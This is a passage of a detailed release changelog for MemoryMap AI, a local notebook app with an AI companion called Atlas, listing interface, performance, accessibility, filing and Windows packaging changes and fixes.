+- The unlock check no longer queries the database on every request: once a password is known to exist it is remembered for ten seconds (only the yes, so the gate can only ever be stricter), 0.4 ms off each of the forty-odd requests a start makes.
+- Settings > About names the licence (GNU AGPL v3) under the version, and a version that cannot be read says so instead of "Version ?" (INBOX 472)
+- Copy: the start-up failure notice lost two escaped em-dashes, two toasts lost their exclamation marks, and the SearXNG settings line no longer says "JSON API" (INBOX 472)
+- Error messages read as sentences: a failed request no longer toasts a raw JSON list, "Internal error", "Not Found", "Failed to fetch" or "Upload failed (500)"; the plain wording comes from one function, and the raw text still goes to Settings > Logs (INBOX 472)
+- Faster starts and every request: each stylesheet and script is compressed once per version and kept on disk (the 448 KB stylesheet went from 22 to 46 ms per fetch to 4 to 6 ms, the first fetch after a restart included), and the two remaining `BaseHTTPMiddleware` layers are pure ASGI, 0.3 to 0.8 ms less on every request.
+- An Atlas look with legs no longer restyles the page through a leap or a glide: the two leg roots (`<svg>`, where Chromium never composites `rotate` and `scale`) sit in boxes like the body, tail, skirt and nebula, and the limb gestures turn the boxes. No shipped look draws legs yet; with them switched on, a leap's 2s window fell from 102ms and 59 style recalcs to 60ms and 36, frame for frame the same pixels.
+- The Atlas companion's pose, lean, variant and walk properties no longer restyle all 528 of its elements at a time: `--atl-lean-dir`, `--atl-v1`/`--atl-v2`, the pose's lean, scale and tail, the walk's tilt and way, and the figure's lie shift are registered not to inherit and written on the few elements that read them, so one change of `data-pose`, `data-lean` or `data-atlas-variant` costs 9, 4 and 4ms of style recalc (25, 16 and 15 before) and a walk's start restyles 52 elements, not 528. The large view's ledge no longer uses a `:has()` on the companion's `data-pose` (it made every pose change restyle 968 elements); the figure carries a copy of the pose instead. Every shot (looks, moods, lie and curl in all three variants, lean, four mid-float frames) matches the old pixels, and every computed arm, figure and lean value matches.
+- The Atlas companion's skirt gestures in a float or glide (the `rotate` limb loops on its `<svg>` root, never on the compositor) run on the same kind of box, so a float costs about half the style recalcs and a third fewer layouts (122ms to 69ms of recalc in the 2.6s window, 62 to 39 recalcs, 35 to 24 layouts).
+- The Atlas companion no longer restyles the page every frame at rest: the body's sway, the tail's and the nebula's flow ran as `rotate` and `translate` loops on `<svg>` roots, which Chromium never puts on the compositor, so each cost a style recalc per frame (108ms of every 2.6s idle, now 7ms). They run on a plain box around each root, and the figure looks the same, frame for frame.
+- Documents: a document reopens where you left it, the caret and the place you were reading, including after a reload (kept per document in this browser, the 60 most recent).
+- Documents: the breadcrumb above the writing follows what you are reading: scrolled away from the caret in a long document it names the section in view (the same one the outline marks), instead of staying on the caret's section.
+- Documents: in a long document, jumping to the middle (the scrollbar, a search hit) no longer leaves headings drawn as raw `###` text in the Live view; the view repaints when the parser catches up, which it used to do only on the next key or scroll.
+- Developer sweeps: switchdivider.js measures each Settings switch row's hairline against its group head; the INBOX 464 audit records items 9 to 20 as fixed, with their numbers.
+- Dashboard on a phone: the search field runs to its menu button with the bar's usual gap (it stopped 19px short).
+- Library, Bookmarks: the empty state no longer repeats the line under the bar; it is its title and Add a bookmark.
+- Settings, Data: importing markdown files, a folder or a document is one step: the button opens the picker and choosing starts the import, with Undo in the toast that moves exactly the imported notes to the recycle bin (it was choose, then a second Import button).
+- Reminders: Quick set takes the steppers' rounded shape, so the When row draws one corner instead of two.
+- Chat: the Ask Atlas offer in an empty chat is one line on a phone ("Ask Atlas what it can change"), and on a phone every Ask Atlas offer takes a button's corner rather than a pill, so a longer question no longer wraps into a capsule.
+- Library: Everything and Boards & maps count boards the same way; the empty default board no longer counts (or shows) as a board in one and not the other, and a notebook with no boards shows the New board empty state.
+- Folds in Settings, the help guide and task logs show the same caret as the Library's Contents and outlines, where they drew a small triangle of their own.
+- Settings: the line between two switch rows stops where its group head's underline does (it ran 9px past it on each side), and on a phone the Tools list no longer runs 4px past its pane.
+- Dashboard: a widget with nothing to show offers the one thing to do about it (Add a reminder, New board, Add a bookmark, Ask a question, Show untagged notes and so on), opening the tab it lives on first; eleven widgets were a sentence only.
+- Top tab bar: choosing a tab no longer nudges the tabs after it sideways; the selected label is drawn heavier without getting wider (it moved the rest by up to 6px).
+- Timeline: a row's title runs to the row's edge; long first lines were cut at 120 characters with most of the row still empty.
+- Settings: the Tools, Personas and Help panes open on one line of description (Tools had three); "turn one off and Atlas is never offered it" now sits over the tool switches it is about.
+- Library Images and Files: the empty state's button is Upload, the verb its bar already uses (it was Capture a note); Settings → Models no longer says "Ollama isn't running" twice in two lines.
+- File pickers (Import markdown, Import a document and the rest) look like the Import button beside them: the same face, edge and weight, where they wore that button's hover colour and a near-invisible edge.
+- Library previews keep a document's or note's blocks apart: a heading, a list item or a table row is followed by a dot ("Goals · Ship the notebook redesign · Cut travel spend by 15%"), where they used to run on as one sentence.
+- Command palette on a phone: the keyboard hints and key chips are gone where there is no keyboard, and the field's prompt ("Search notes or run a command…") fits its box.
+- Settings on a phone: the head is one row again with Close in its corner, on every section and down to 320px (it wrapped onto a second line); the profile face and Back and Forward give way to the section picker, and below 380px Peek is its eye alone. Reminders' empty state no longer says "add one above" where nothing is above.
+- Settings: switches line up with the heads, labels and hints of their group; every switch row sat 9px inside that edge.
+- Settings: every section head after a pane's title now heads a group like the rest (Personas' Answer style, Dashboard greeting, Add your own and Share; Templates' and Skills' last; Web search's three), instead of sitting loose on the pane in a smaller voice.
+- Appearance, Assistant avatar now reaches Ask's answer, the writing room's draft and the guide's chat rows: each opens with the same reply head as Chat (the Atlas or app emblem face, then the name), repainted live when the setting changes.
+- Notes filed in the background settle in tens of milliseconds, not 1 to 4 seconds: the embedding of a note-sized text now runs on one torch thread (`MEMORYMAP_EMBED_THREADS` to change it), which was 2.2 s against 79 ms whenever the machine was busy.
+- Toasts raised while a dialog is open (Quick note, any dialog's Undo) now show inside it and can be pressed; they were drawn behind the dialog.
+- Settings, Appearance, Atlas and faces (INBOX 463 (2)): Assistant avatar picks the face on the assistant's chat replies, the popup agent and the Atlas guide: Atlas (the default) or the app's animated emblem, still under Reduce motion. Open replies change as you choose; other personas keep their own faces.
+- Colour contrast (INBOX 464): a new sweep, `contrastui.js`, measures what `contrast.js` could not (icons, SVG icons, focus rings, field and select edges, selected states, chip edges; WCAG 1.4.11, 3:1). On the default look it found 79 failures at 1440 in light and 74 in dark; all are fixed through one token, `--control-edge`: text fields, select openers, date inputs and suggestion chips draw it, a selected segment and a chosen radio option are outlined as well as tinted, a field's hover edge is no weaker than its resting edge, the caret icons are no longer dimmed by opacity, a focused composer's edge is the accent text colour, and the palette's lit row shows its keycap and description in ink. High contrast makes the edge ink.
+- Motion (INBOX 459 (2)): switching tabs fades the new page in briefly instead of swapping it between two frames; instant with reduced motion on.
+- Motion (INBOX 459 (2)): folding a sidebar to its rail, or unfolding it, moves its contents toward or from the rail in a short fade instead of in one frame, and focus mode's Sidebar and Suggestions panels slide in from their edge.
+- Motion (INBOX 459 (2)): the chosen option's highlight now slides to the next one in every segmented control, the top bar's tabs, the Notes and Library sub-tabs and the Settings section list, instead of vanishing and reappearing; it is instant with reduced motion on.
+- Clear: Capture (with its title, tags and staged files), Quick note, Ask, Chat and the popup agent each get a quiet eraser button that shows only while the box holds something, and Undo puts the words back.
+- Manage categories: a category's note count is quiet text after its name ("Hobbies · 10") instead of a pill on every row.
+- Companion: the resize ring no longer shows on the companion in its enlarged view.
+- Documents: focus mode has a Sidebar button on its bar that opens the document list and outline as a panel on the left (Esc closes it); a reload in the session now also restores Tools and the idle fade, which an initialisation-order error had been dropping.
+- Companion (INBOX 455 (2), 469): it goes from place to place by the shape of the move: a walk along its ledge, a hop, shuffle or scoot for a small step, a leap with a crouch and an arc between ledges, a climb along and then up or down an edge hand over hand, a glide for long ways and a soft materialise past that; Atlas floats and glides. A new place chosen mid-move takes over at the speed it had (the hand-over frame went from 35px to under 15). Coming into a tab it walks or glides in from the side of the tab it left. Its arms swing as it walks, reach as it climbs, go out for balance on a leap and like wings on a glide, Atlas's hem trails, and a new act starts with a small lift of the arms. Reduce motion is still a short crossfade.
+- Companion (INBOX 462): a folded sidebar is no longer a perch. On Chat and Documents it used to sit on in the air over a row of the folded rail; folding the sidebar now sends it to the nearest perch it can be seen on, by the way it moves.
+- Reminders: switching Open, All and Done no longer flashes loading placeholders; they show on the first load only.
+- Settings: after clicking a section, the arrow keys walk the list of sections, and Page Up and Page Down scroll the open section.
+- Badges (INBOX 461 (1), 468): every status word is the one label recipe, an 11px word in a hairline box with its tone on the edge and icon: Packages' "Installed" and "Not ready yet", SearXNG's "Stopped" or "Running", Tesseract's state, a tool's "confirms first" and "online", the installed model's "in use", and a model card's "Fits", "Tight fit", "Installed" and "In use for chat" (they were four fills at 21 to 23px beside 19px labels). A suggested model card's labels are a row of their own above its actions, one line at 1440, 1100 and 390 (the foot had wrapped into up to three).
+- Notes (INBOX 455 (1)): a note's details line is one line on every card. Tags and suggestions that do not fit fold into one "+N" that lists them (a tag filters, a suggestion is taken), then the other facts keep only their icon; the time is always the line's last fact at its right edge (at 1100, 6 of 10 seeded cards wrapped and the time sat on a line of its own on some; now none, one date x per width at 1440, 1100, 820 and 390). The low-score warning sits beside the category.
+- Top bar: the logo, the space picker, the tab strip and the icon buttons share one 44px height on one centre line; between 1100 and 1439px the wordmark gives way so the tabs stay on one row.
+- Whiteboard: the Library panel's note rows light up under the pointer and show two lines cut at a word; an active button's icon (Library, and every pressed quiet button) takes its label's colour instead of fading into the accent.
+- Settings: a section's jump strip marks the heading you chose, even near the end of a short page where it used to mark the last one.
+- Dashboard: the Start something row is now Quick access: the same five tiles until you change it, then add any command from the palette (up to eight, with the line it already says), remove, drag to reorder or use Move left and Move right in a tile's menu, and Reset to default, all from the section's own menu; kept per user in preferences (INBOX 461).
+- Notes: a long note's folded preview shows two lines of its text again; blank lines after the title or between paragraphs had left it a lone "...".
+- Assistant bubbles (INBOX 457, 458): the popup agent's Thinking box sits under Atlas's name, not above it, and every thinking box (Chat, the popup agent, Ask, the Guide, Write with Atlas) is one fold: the same summary as the steps and sources folds, a rail, body text, a 12rem cap. The popup agent's bubble reads like Chat's (name, thinking, steps, answer, sources, facts, actions, with even 6px gaps); its copy and retry row no longer covers the sources; its sources are one list without duplicates, a row per note (title, category dot, date); its run facts are Chat's one muted line, a long model id cut short with the whole id on hover. Scrolling up while an answer streams now holds in the popup agent, Chat and the Guide until you come back to the bottom.
+- Notifications: every row is inset 8px on both sides, so the unread dot and the read toggle no longer sit on the panel's edges.
+- Attach picker (Chat's note button, INBOX 467): rows are the name over one muted line with the category as a dot and quiet text (it was a filled badge on the name's line), the footer is the dialog footer (count at the left, a ghost Clear and the one filled Done; the buttons were small), and it is padded and cornered like every other panel.
+- Popup windows and panels are one design (INBOX 456, measured on 42 surfaces at 1440 and 390, light and dark): every small dialog (new space, templates, document history, word goal, widgets, tensions, storage) opens with the dialog head and a Close; the skill runner's worded Cancel, the Extract, Writing dictionary, popup agent, Find anything, node popup, new-note popup, board overview, agent activity and tour closes are the same 32px icon button at the same corner (44 by touch), and every sheet's too; a head's title is 16px whatever tag carries it (the Quick note, popup agent and node popup titles were 12px uppercase, 700 or 14.7px); the notifications panel is 8px like every other panel (was 6.4px) and the five floating panels are padded one step (were 8 to 16px); small dialogs are one 34rem width (the storage dialog was 1332px) and sit as far from a phone's edge as the others (12px, now 24px); the dim behind every dialog is one token (it was four values), and Find anything dims the app like the popup agent instead of replacing it with the page gradient.
+- View toggles (Library, Notes, Timeline, Reminders): the selected segment sits inside its well with 4px all round; it was 4px down, flush on the well's bottom edge, and by touch it spilled 16px out.
+- Library, AI skills (INBOX 450): a card's facts are one row of equal-height boxes on one baseline (24px each; the plain chip and the two disclosures were 20 and 22px, 2px apart), "3 steps" and "4 tools" are toggles whose lists open under the row at the card's full width, so opening one no longer pushes the next fact onto a line of its own, and a tool is a code chip at the same height; what a skill asks for before it runs moves to its run line ("Never run · asks for 1 input"), so the facts fit a card on one line. The cards are dealt into columns in reading order, so a short card no longer stands over a gap to its taller neighbour's row and an open card no longer makes its neighbours tall and empty, and "Never run" sits 8px over the footer's line (was 16). The top bar is one row whenever the page has 58rem (at 1440 with a Windows scrollbar it was two, 90px, with New skill and '?' alone on the second; now 50px) and below that wraps on purpose: title, search, New skill and '?' first, the segment and the sort under them; its title says "AI skills", as the sub-tab does.
+- Top bar: the tabs are back to their first size (36px, 16px labels, a 4px well); the density pass had made them 32px with 13.6px labels.
+- Consistency pass, second round (INBOX 437 (4)): Settings' search field and section rows are on the panel's 32px control height (were 42 and 35, the nav column 84px shorter), a slider's reset, the zoom steppers and a backup's delete stand as tall as the field beside them (were 28 and 36), every page has at most one filled button (Import & export had five, Models five once a model is connected, Appearance four, Personas and What it learned two; a lint now holds it), and the theme cards are one height per grid (a lone Lagoon was 79px under rows of 96). On a phone a reminder is two lines, 82px (was 119): the tick spans both, the words and the time on the first, the snoozes, Edit and the menu (44px targets kept) on the second, starting under the words rather than under the tick. Library: Bookmarks no longer repeats the All chip's count on a line of its own (it says "Showing 2 of 4" only when narrowed), a link's facts stay on one line as they were meant to (a later rule's wrap had won; on a phone a row was 75px with the dot alone at a line's end, now 59), and on a phone its tick is the light 22px box of every other list rather than a 44px frame; Contents shows its jump bar from four groups, as Settings' own index does, instead of repeating two heads; an AI skill card spaces its parts by its one gap (207px, was 262) and its menu is Run's height; an image tile loses a 10px blank band under its name (146px, was 156); a Files row names the kind once on its facts line, not also under the glyph that spells it; the Boards grid ends on its card's padding (a 48px band, now 16). Notes: every name in the sidebar starts on one edge (All and the categories began 23px left of Drafts, Favourites and Tags; All has a glyph now and a category its colour dot, as on a note's chip), and the help '?' in the Capture, Write with Atlas and Ask heads is 32px like the head's other buttons (was 36). Documents: Read view no longer shows a document's name twice when its text already opens on it as a heading, and the hint under the editor no longer repeats the dock's "Saved". On a phone the AI skill library's All, Yours and Built-in segment no longer wraps out of its well over the search field: it takes its own row, and the sort shares the next with New skill.
+- Docs: the README, ARCHITECTURE, DESIGN, the roadmap and handover tables and CLAUDE.md's counts are checked against the code and current (INBOX 448 (2)): the README lists Quick note, the offline outbox, `#tags`, kept suggestions, the tag manager, category colours, job last-run status, the Library's bookmarks, Contents and AI skills pages, mind map keys, the OCR engine line and the accessibility work; ARCHITECTURE has `core/jobruns.py` and the `job_runs` table, `GET /jobs/last-runs`, the suggested tags, `client_key` on `POST /entries`, the lazy pieces, the migration head and a directory map that matches the tree; DESIGN has the pending note row, the toast yielding to focus and the row's centred actions; the plan tables say what is built (61 scripts, 5,700+ tests, `app.js` and 24 files after it).
+- Notes: a note held offline shows its title as the saved card will, rather than the raw `# Title` line.
+- Zoom (WCAG 2.2, INBOX 433): on a window under 420px tall (200% and 400% zoom) Chat flows as a page instead of squeezing its welcome under the composer, the Timeline's feed keeps a usable height (it had 0px at 400%), and the graph keeps a 26rem map with the minimap put away so the zoom strip, dock and legend no longer overlap; the AI status popup takes no clicks while it fades; Reminders' row actions sit on their own line below 600px instead of over the tick box; Chat's mode switch is no longer cut off in the touch band; the chat's hidden file field is no longer a Tab stop. zoom.js on Chat, Timeline, Graph, Notes, Documents and Reminders: 14 findings to 0 (11 on the first five, 3 on Reminders).
+- Consistency pass on Chat, Dashboard, Timeline, Reminders, Graph and two Settings sections (INBOX 437 (4)): Chat's message row is 36px like Capture and Ask (was 44) and its control strip, sidebar sort and More selects share the 32px control height (were 30 and 37), and the chosen chat's date line is no longer bold; the graph's zoom strip is 32px (was 34) and its options panel no longer cuts off the right column of switches; the Dashboard clock reads 8:11 like the Reminders one (was 08:11) and the name offer's two buttons are one height; today's day head on the Timeline is as tall as every other day (35px, was 47) and its count is the Graph's dock chip; Reminders' group counts are plain figures like every other group head, and from 1100px up the list no longer repeats the form's filled Add; Background jobs is a list of rows, not cards (659px, was 1,226), the file pickers match their buttons, and the four exports sit on one row with help that no longer repeats the line above it.
+- Toasts: a toast fades and lets clicks through while the focused control is under it (WCAG 2.4.11; at 200% and 400% zoom a lasting "3 reminders are due" hid the Tab stop on six tabs), and the toast box no longer swallows clicks beside a narrow toast below 1100px.
+- Bookmarks: pinned links lead every order but By site (the list's own sort used to discard the pin).
+- Background jobs: a failed run's last-run line says why in a few words ("No space left on device", "File exists"), not the operating system's text with an error number and the path of your folders.
+- Bookmarks: a test now holds that GET /bookmarks pages tile one order, pinned first across every page (it already did: the order is applied before the page is cut).
+- Library: Bookmarks, By site, groups a link with no host under what it is: mailto: links under "Email", other schemes (tel:, file:) under the scheme name, instead of a section named by the raw address. The By site sort uses the same key, so a group is always one run of rows.
+- Library: Contents, By month, puts each document under the month it was created in, with the notes of that month, instead of one "Documents" section after them (the other groupings keep that section). GET /documents/outline now carries `created_at`.
+- Notes: a note kept on this device while the server is away now shows in the notes list, at the top, as a card marked "Waiting to save" (no actions that need the server), and the card goes when the note is sent.
+- Lock: an open dialog or popover no longer stays readable over the lock screen (and no longer leaves its password field untypeable); it is put away while locked and comes back as it was after unlocking.
+- Mind map: Ctrl+D on a topic copies it as the next sibling with the same words and look, and undoing it selects the parent (it used to land as a loose top-level topic).
+- Backups: a manual backup that the disk refuses says why ("Couldn't save the backup: No space left on device.") instead of "Internal error".
+- Documents: the outline breadcrumb starts with a "Top" mark instead of repeating the title that sits in the dock just above it.
+- Mind map: Ctrl+Z after Delete on a branch brings its cross-links back (the delete response now returns the links it dropped), and the undo history no longer goes stale after a restore (ids are remapped); Shift+Tab is one undo step; undoing a create selects the parent; Tab adds a topic only after the map was clicked or keyed in, so it can leave the map (INBOX 445 (2)). Focus mode now keeps cross-linked topics in view.
+- Library: Bookmarks, Contents and AI skills rebuilt inside their purpose (INBOX 445 (1)). Bookmarks: a reading list (Unread and Pinned filters with counts, opening a link reads it), a kind tile per link, "By site" groups that fold, Details in place, a note field, Move to group, Mark read and Pin on the select bar, Undo on every delete, and every page of the list (the 201st link was unreachable). Contents: the notebook as an ARIA tree with documents and their headings under them (jump to the heading), Expand all and Collapse all, arrow-key navigation and a roving tab stop. AI skills: Yours or Built-in segment with counts, a sort, "Reads only" or "Changes notes", the last run's result, Duplicate and Delete with Undo, the background workers folded away. The Library sub-tabs are sized by their words, so the gaps between labels are all 34px (they were 34 to 67).
+- Background jobs: every job now shows when it last ran and how it went. Beside the control (Rebuild search index, Back up now, Find duplicates, the importers, Read my notes now, Run optimization now, Explain your existing links) a quiet line reads "Last run 2h ago · succeeded · 412 notes indexed", with the exact time and the duration on hover; a failure is the only red and says why; a running job shows the ring and "Running…". Settings, Background tasks has a new Background jobs list with every kind, the never-run ones included. The record is one row per kind in the database (so it survives a restart), written through one helper, `job_run`, from the search rebuild, the embeddings backfill, backups (manual and the daily one), the duplicate scan, imports, the night shift, the autonomous pass, resurfacing, link reasons, filing re-evaluation, model and package downloads, SearXNG setup, image captions and text reading. New route: GET /jobs/last-runs.
+- Notes: making one is faster and cannot lose words. Quick note (Alt+N, or the palette) opens over any tab and saves without leaving it: caret in under 70 ms, in the list 100 to 310 ms after Ctrl+Enter, Escape keeps the words for next time, Open in Capture moves them to the full composer. A note saved while the server is not answering (Capture, Save as draft, Quick note, the dashboard's Quick capture) is kept on this device and sent by itself when the server is back (it said "Failed to fetch" and was never sent; a notice above Capture counts what is waiting, with Try now), and a resend is saved once (`client_key` on POST /entries). `#word` in the text tags the note (`inline_tags`). An image pasted into Capture and a file dropped on it are kept (both vanished). The draft keeps its title and tags through a reload (only the words came back). New note from the palette no longer starts with a blank line. The graph's new note and the dashboard's Quick capture are saved at once and filed in the background, as Capture's are. A bare link pasted into Capture or Quick note offers its page as a note through the web clipper, only while the web is allowed.
+- Companion: it does what the app's AI is doing. While Atlas reads a note (Re-evaluate, Tag with Atlas, the tag offer, filing a new note, OCR) it puts its glasses on and gets its book out; while it writes (chat, Ask, Improve writing, a draft) it thinks; a caption is a look. When the work ends it nods, or holds up the note it filed, and a failure gets a puzzled face.
+- Companion: double-click it and the large view shows the companion itself, still doing what it was doing (reading, asleep, sitting on its ledge) until you poke it or the act ends; in there it plays every few seconds, follows the pointer with its eyes, perks up when you hover, says its lines now and then, and only blinks under reduced motion. The view's head is the dialog-head recipe (name and an icon Close) over one line of description.
+- Graph: a calmer, tidier shape. Notes of one category gather (of each dot's four nearest, 56% to 84% share its colour on a 60-note test map, as far as the links are category-shaped; a notebook whose links ignore categories keeps the old, looser layout); notes with no link take a seat on a ring that hugs the cluster, close beside their category (gap to the cluster, in typical spacings, 3.0 to 1.8); a link between two notes of one category wears that category's colour, a link with a reason is heavier, and links curve by default (Show, Curved links; turn it off to go back to straight lines); one dot size scale of 5 to 15 px with a softer glow; names are cut at a word and never end on a small word ("Fitness plan and the..." is "Fitness plan..."), the note under the pointer is named in full, and the busiest notes get ten more characters. The glide to the fitted view is instant for a reader who asked for less motion.
+- OCR workspace and Tesseract: one status line under the toolbar says whether Tesseract can read (program and Python part reported separately), its version, and the language it reads in (a remembered choice that every read obeys, including the background pass); when it cannot read it names the cause and offers Install with the installer's own progress, and a read that cannot run falls to the vision model (or says what to do) and names the engine that read it. Read again really reads again (it used to do nothing once a reading existed), the reading can be edited by hand and added to an existing note, the Packages row means "can read" and shows the same language, and an OCR error points at Settings, Packages.
+- Atlas's feminine look wears a flowing gown below the waist: one A-line with a softly waved hem and four folds on it, instead of five wavy ribbons hanging past a pointed hem (which read as tentacles); her comet tail is unchanged.
+- Tags: a tag manager (Notes ⋯ menu, Settings, the Tags row, the command palette): every tag with its note count, rename, merge into another tag, and remove from all notes, one or several at a time, each in one transaction with a revision and an event per note (so note history shows it) and one Undo. The Notes selection bar's Tags button adds tags to and removes tags from every selected note in one action. A tag chip's right-click or menu key opens Show notes, Rename in all notes, Remove from this note and Manage tags. A category chip now opens a small menu: Show notes in the category, Move to another category, Manage categories. New routes: POST /tags/merge, /tags/bulk and /tags/restore; /tags/delete takes several names.
+- The whole app is tighter and calmer: controls are 32px (were 36), the top bar 48px (was 56), interface text 14.7px where most of it inherited 16px, panels 16/20px inside, the greeting and its clock 24px; five note cards fit above the fold at 1440x900 instead of four, with a two-line preview. Toolbar buttons without a border read at a regular weight, and the dashboard's start tiles line up at the left.
+- Dashboard: the first screen is calmer. Under the greeting is one row, the search box and a "..." menu holding Continue, your recent skills, Tools & features, Commands, View, Widgets and Edit layout; then the Start something tiles and your widgets. The Jump to and Run a skill rows, the four number tiles and the Your dashboard bar are gone from the page (the numbers are in the greeting, the status bar and the Stats, Streak and Writing pace widgets), and Edit layout shows a line above the widgets with its own Done.
+
+### Fixed
+- Filing: a note's certainty is now Atlas's own estimate, not the model's raw number. A small model answered 100% for a dentist appointment it filed under Work; nothing a model or a word match picks now reads above 95%, a pick the notebook's own words disagree with is lowered (under 50% shows check this and offers the other categories as one-tap buttons beside the note box), and so is a pick for a category with few notes. A note you filed yourself says Filed by you and shows no percentage.
+- Notifications: about a hundred toasts for normal situations (Dictate without the voice add-on, Compress on an empty chat, Add on an empty reminder, a field left empty, nothing to export yet, a model or add-on that is off, a limit) were red with "Report this", which reads as a broken app; they are now plain toasts that ignore "mute notifications", and a failed request the server refuses with a 4xx shows plain too, so only a 5xx, a network failure or an exception keeps the red style and the report button. `toast(text, "info")` is the plain form; `tests/test_error_toasts.py` pins 100 calls and makes a new red toast with its own message name its fault.
+- Status bar: with no model connected, the AI status shows the app's AI sparkle with a slash through it, in the same neutral grey on the chip, where it was a hollow ring that said nothing; the card still reads "Notebook ready · AI off", and the ready, checking, warming and error states are unchanged (INBOX 656).
+- Chat, Ask, the popup agent, the Guide and persona rows: Atlas's small head (under 28px) is now a miniature of the current bust, both looks: the head mark's hair, cap and fringe, eyes with an iris, pupil and catchlight, the ears, and the neck and shoulders, where it was a bald egg with two solid ink eyes and a heavy outline (INBOX 650).
+- Packaged builds: both PyInstaller specs now leave any __pycache__ folder out of the bundle (migrations/ is copied whole, so a build machine that had run the app shipped stale bytecode there).
+- Internal, after the motion-polish and map and icon branches merged: the icon picker's stylesheet and script are one `LAZY_MODULES.iconPicker` bundle loaded with `ensureModule`, its tile hover follows the Interface animations switch, and the map's and picker's caches are one const each, so the lazy-CSS, motion-token and global-scope ratchets hold at their caps.
+- Windows start.bat: a folder name containing ! (Notes!, Hi!there) no longer breaks the launcher; the script's own path is read before delayed expansion is turned on, so MM_HOME, MM_SELF and the first cd keep the character. Reasoned and statically tested only, no Windows machine was available.
+- Windows updates: the in-app update now reopens MemoryMap AI by itself when the installer finishes (it passes /RELAUNCH=1 and only a silent install honours it, so a scripted /VERYSILENT install still opens nothing); before, the app closed for the update and stayed closed until the person opened it again. Reasoned and statically tested only, no Windows machine was available.
+- Windows: the Start Menu's Repair MemoryMap AI no longer half-deletes the window's cache under a running copy (WebView2 holds those files locked, so only the unlocked half went); with the app open it leaves the cache alone and says to quit first.
+- Windows uninstaller: answering yes to deleting the optional packages now deletes the ones the app downloaded itself too (Pyodide, the needle model, in the extras folder), not only the pip packages.
+- Windows installer: it reads its version from the app's own __version__ instead of a MEMORYMAP_VERSION variable with a hard-coded 0.1.0 fallback, and a release tag that disagrees with the code stops the release before anything is built. An upgrade removes the previous build's program files before copying the new ones, so no file an older version had (a moved module, a DLL from another Python) is left beside the new one, and the uninstaller removes anything the app wrote inside its own folder.
+- Windows launcher: start.bat --shortcut puts the shortcut on the Desktop you see when OneDrive has moved it (on by default on many new PCs), where it used to fail or land in a folder nobody looked at, and works from a folder whose path has an apostrophe (C:\Users\O'Brien); uninstall.bat --shortcuts looks in the same place.
+- Desktop window: an edited lazily loaded stylesheet (the Library's library-lazy.css) is fetched fresh. It was stamped with app.js's hash, a URL cached for a year, so a change to it alone kept the old rules in the window's long-lived cache; every stylesheet now carries its own hash in the page's stamp map.
+- Packaged app: /capabilities no longer offers 'python -m memorymap.mcp_server' as installed. The packaged app has no Python to run it with, so an outside client set up from that answer failed to start; it says so now, and the install guide says the MCP server runs from a source checkout.
+- Packaged app: optional packages install against the app's own version limits again (requirements.txt is bundled; the packaged build looked for it outside the bundle and installed unconstrained), and on the packaged Linux app a package with a compiled part (Export to Word, scanned PDFs) installs at all: pip was asked for wheels tagged linux_x86_64, which nobody publishes, and now also gets the manylinux tags this machine runs.
+- Packaged app: optional packages installed after setup find the standard library they need. The bundle carried only the standard modules the app itself imports, and search by meaning (transformers needs filecmp), scanned PDFs (ctypes.util) and others import more; the whole standard library is bundled now except Tk, the tests and IDLE, about 3 MB.
+- Packaged app: nothing is written inside the install folder any more. Once migrations ran, the frozen interpreter cached them as bytecode beside the exe, which no uninstall removed; a packaged build now writes no bytecode.
+- Windows: saving preferences or the instance lock no longer fails when an antivirus scan or a second launch has the file open for a moment. The rename Windows refuses then is tried again for up to about three seconds, and these files are always written as UTF-8.
+- Windows: the tray's Restart brings the installed app back. Python's exec on Windows passes the arguments unquoted, so the program's own path (MemoryMap AI\MemoryMap AI.exe) arrived as three arguments and the restarted app exited at once; it starts a new process now, and a Restart after the Repair shortcut no longer repairs again. Quit, Restart, the console switch and an update now let go of the notebook's lock before exiting, so the next launch never waits on a lock naming a dead or reused process.
+- Packaged app: no traceback in the log on every launch. The launcher asked for the bootloader's splash, which the build has not had since 0.3.3, and the module prints a traceback on its way to failing; it is asked for now only when the bootloader made one.
+- Packaged app: tool calling without Ollama (the needle extra) works in the installed build. Its provider is imported by name, which PyInstaller cannot see, so it was one of two app modules missing from the bundle (measured, 198 of 200); both specs now list every module of the app by file, and a test checks the list against every import by name.
+- Packaged app: the database is stamped and upgraded by Alembic again on a Japanese, Chinese or Korean Windows (and the frozen app under a C locale). alembic.ini carried one em dash, which Alembic reads in the system's own encoding, so the step failed before any migration ran; the file is plain ASCII now and a test keeps it so.
+- Test sweeps: the skeleton sweep treats a view whose empty answer is its boot answer (the chat list) as expected, and the boot-time sweep now reports DOMContentLoaded, first contentful paint and when the dashboard is readable over five cold loads; the Library and Documents "blank" skeletons were a sweep timing artifact, not the app.
+- Filing: when the chat model files a note, the prompt now also names the three notes already filed that read most like it with their categories, and any refile correction that reads like it (private notes are never named, and the note being re-filed is not its own example). The corrections switch in Learned silences it. Before, only the categories you had moved notes into were mentioned.
+- Desktop launch: a MemoryMap already on the port is reused only when it serves this launch's data folder; a second copy pointed at a different folder is treated as another program and the window moves to the next free port, where before it opened onto the wrong notebook. The server reports a hash of its resolved folder (never the path) at the new open `GET /instance`, compared case-insensitively on Windows; a build too old to answer is still reused, as before.
+- Whiteboard between 641 and 819px: the tool dock no longer overlaps the zoom cluster (6,841px² to 0) and the top bar is one row from 680; the whiteboard file's last ten off-band widths moved onto the 819.98/820 band and their allowances left `tests/test_breakpoints.py` (`op5-1005.js` MODE=bands).
+- Settings, Models: an installed model's menu offers only the uses its kind has (an embedding model is offered Use for search, never Use for chat; a vision model images, reading text and chat), read from the catalogue, then Ollama's model details, then the name (`model_cards.installed_uses`, `tests/test_model_cards.py`, `op5-1005.js` MODE=models).
+- Settings, Skills and Personas: the "Built-in" label on a list row is readable in light (4.27:1 before, three tints stacked under muted type); it takes the ink, as the "Installed" label already did.
+- Test suite: each pytest-xdist worker no longer climbs to 2 to 2.7 GB (four of them filled a 16 GB CI runner, which shut down at 96 to 99%). FastAPI's callable caches kept every test's app alive (about 8 MB each) and are now cleared after each test, and the 145 test modules that read a frontend file at import now share one copy of it (collection RSS 490 to 341 MB). Measured per worker at the end of the suite: about 1 GB before the second change, down from 2 to 2.7 GB.
+- The guided tour no longer counts steps it cannot show on a tablet-width window (600 to 819 wide, or a touch screen): the chat sidebar is a sheet parked off screen there and the status bar's Commands item is hidden, so those two cards are left out of the count instead of being planned and dropped ("3 of 4" with three shown). The no-mind-map card is shorter (115 characters, was 209).
